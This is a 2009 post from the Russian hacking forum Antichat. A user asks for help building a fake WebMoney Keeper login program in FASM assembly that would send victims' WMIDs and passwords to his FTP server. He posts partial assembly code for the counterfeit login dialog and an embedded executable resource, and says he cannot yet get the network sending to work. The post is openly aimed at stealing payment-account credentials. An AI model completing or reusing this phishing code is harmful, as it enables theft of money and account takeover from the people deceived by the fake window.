ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 28.10.2009, 02:38
Аватар для SEKTOR3A
SEKTOR3A
Новичок
Регистрация: 02.05.2009
Сообщений: 18
Провел на форуме:
31604

Репутация: -3
По умолчанию

плз скиньте какой-нить пример фейка на асме (fasm) например веб мани и чтоб логин и пароль приходили на фтп
вот пример но не могу сделать подключение к сокетам

format PE GUI 4.0
entry start

include 'include\win32a.inc'
include 'include\encoding\WIN1251.INC'
ID_CAPTION = 101
ID_PASS = 102
ID_ICONINFORMATION = 103
ID_ICONWARNING = 104
ID_ICONERROR = 105
HTCAPTION = 2

section '.data' data readable writeable

caption db 'всем привет',0
msgOK db 'спасибо за деньги.',0
hInstance dd ?

section '.code' code readable executable

start:
invoke GetModuleHandle,0
mov [hInstance],eax
invoke DialogBoxParam,eax,37,HWND_DESKTOP,DialogProc,0
or eax,eax
jz exit

invoke MessageBox,HWND_DESKTOP,msgOK,caption,0
jmp exit

exit:
invoke ExitProcess,0
proc DialogProc hwnddlg,msg,wparam,lparam
push ebx esi edi
mov eax,[msg]
cmp eax,WM_COMMAND
je wmcommand
cmp eax,WM_INITDIALOG
je wminitdialog
cmp eax,WM_CLOSE
je wmclose
xor eax,eax
jmp finish
wmcommand:
cmp [wparam],IDCANCEL
je wmclose
cmp [wparam],IDOK
jne processed
invoke EndDialog,[hwnddlg],1
jmp processed
wminitdialog:
invoke LoadIcon,[hInstance],17
invoke SendMessage,[hwnddlg],WM_SETICON,EM_LIMITTEXT,ICON_SMALL,eax
jmp processed
wmclose:
invoke EndDialog,[hwnddlg],0
processed:
mov eax,1
finish:
pop edi esi ebx
ret
endp


section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'

include 'include\api\kernel32.inc'
include 'include\api\user32.inc'

section '.rsrc' resource data readable
IDR_PICT = 27

directory RT_DIALOG,dialogs,\
RT_BITMAP,bitmaps,\
RT_ICON,icons,\
RT_GROUP_ICON,group_icons,\
RT_VERSION,versions

resource icons,\
1,LANG_NEUTRAL,icon_data
resource group_icons,\
17,LANG_NEUTRAL,main_icon
resource versions,\
2,LANG_ENGLISH+SUBLANG_DEFAULT,version
resource dialogs,\
37,LANG_ENGLISH+SUBLANG_DEFAULT,main
resource bitmaps,\
IDR_PICT,LANG_NEUTRAL,pict

dialog main,'WebMoney Keeper Classic 3.7.0.1',10,10,213,147,WS_VISIBLE+WS_POPUP+WS_CAPT ION+WS_SYSMENU+DS_CENTER+DS_MODALFRAME
dialogitem 'STATIC','&WMID:',100,75,90,50,35,WS_VISIBLE
dialogitem 'EDIT','',ID_CAPTION,110,90,90,12,WS_VISIBLE+WS_BO RDER+ES_AUTOHSCROLL
dialogitem 'STATIC','пароль',70,70,110,50,8,WS_VISIBLE
dialogitem 'EDIT','',ID_PASS,110,110,90,12,WS_VISIBLE+WS_BORD ER+ES_AUTOHSCROLL
dialogitem 'BUTTON',Войти',ID_ICONINFORMATION,71,10,60,8 ,WS_VISIBLE+BS_AUTORADIOBUTTON

dialogitem 'BUTTON','&Enter in the programm',ID_ICONWARNING,71,35,10,15,WS_VISIBLE+BS _AUTORADIOBUTTON
dialogitem 'BUTTON','&я хочу',130,70,0,140,55,WS_VISIBLE+BS_GROUPBOX
dialogitem 'BUTTON','...........',ID_ICONERROR,71,20,38,17,WS _VISIBLE+BS_AUTORADIOBUTTON
dialogitem 'STATIC',IDR_PICT,-1,0,0,0,0,WS_VISIBLE+SS_BITMAP
dialogitem 'BUTTON','&OK',IDOK,95,130,45,15,WS_VISIBLE+WS_TAB STOP+BS_PUSHBUTTON
dialogitem 'BUTTON','&Отмена',IDCANCEL,155,130,45,15,WS _VISIBLE+WS_TABSTOP+BS_PUSHBUTTON
enddialog

bitmap pict,'bitmap.bmp'
icon main_icon,icon_data,'bmp.ico'
versioninfo version,VOS__WINDOWS32,VFT_APP,VFT2_UNKNOWN,LANG_E NGLISH+SUBLANG_DEFAULT,0,\
'FileDescription','Bitmap example',\
'LegalCopyright',<'Copyright ',0A9h,' BarMentaLisk 0000'>,\
'FileVersion','0.1',\
'ProductVersion','0.1',\
'OriginalFilename','bmp_example'

resdata fdat
file 'sock.exe'
endres

Последний раз редактировалось SEKTOR3A; 28.10.2009 в 02:50..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопросы для новичков! (faq) PEPSICOLA С/С++, C#, Delphi, .NET, Asm 92 14.05.2010 17:59
Обзор программ для очистки жёсткого диска v1ru$ Soft - Windows 21 17.01.2010 21:07
ОС с нуля z01b С/С++, C#, Delphi, .NET, Asm 36 03.07.2008 15:30
Лучший софт для Linux _-Ramos-_ Soft - *nix 11 15.01.2008 12:08
Взлом Unix а silveran *nix 4 21.12.2005 22:46



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ